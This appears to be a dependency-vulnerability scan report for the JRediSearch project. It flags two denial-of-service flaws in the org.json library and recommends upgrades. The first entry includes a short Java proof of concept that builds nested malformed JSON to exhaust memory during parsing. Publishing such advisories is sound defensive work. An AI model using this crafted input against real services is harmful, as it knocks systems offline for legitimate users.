RediSearch/JRediSearch:pom.xml
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: org.json:json
- Introduced through: org.json:json@20211205
Detailed paths
-
Introduced through: RediSearch/JRediSearch@RediSearch/JRediSearch#0b45cc804ba8f5309f28cc8ea1d4586c33aff1e8 › org.json:json@20211205Remediation: Upgrade to org.json:json@20231013.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. An attacker can cause indefinite amounts of memory to be used by inputting a string of modest size. This can lead to a Denial of Service.
PoC
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
Remediation
Upgrade org.json:json
to version 20231013 or higher.
References
high severity
- Vulnerable module: org.json:json
- Introduced through: org.json:json@20211205
Detailed paths
-
Introduced through: RediSearch/JRediSearch@RediSearch/JRediSearch#0b45cc804ba8f5309f28cc8ea1d4586c33aff1e8 › org.json:json@20211205Remediation: Upgrade to org.json:json@20230227.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) in the XML.toJSONObject
component via crafted JSON
or XML
data.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade org.json:json
to version 20230227 or higher.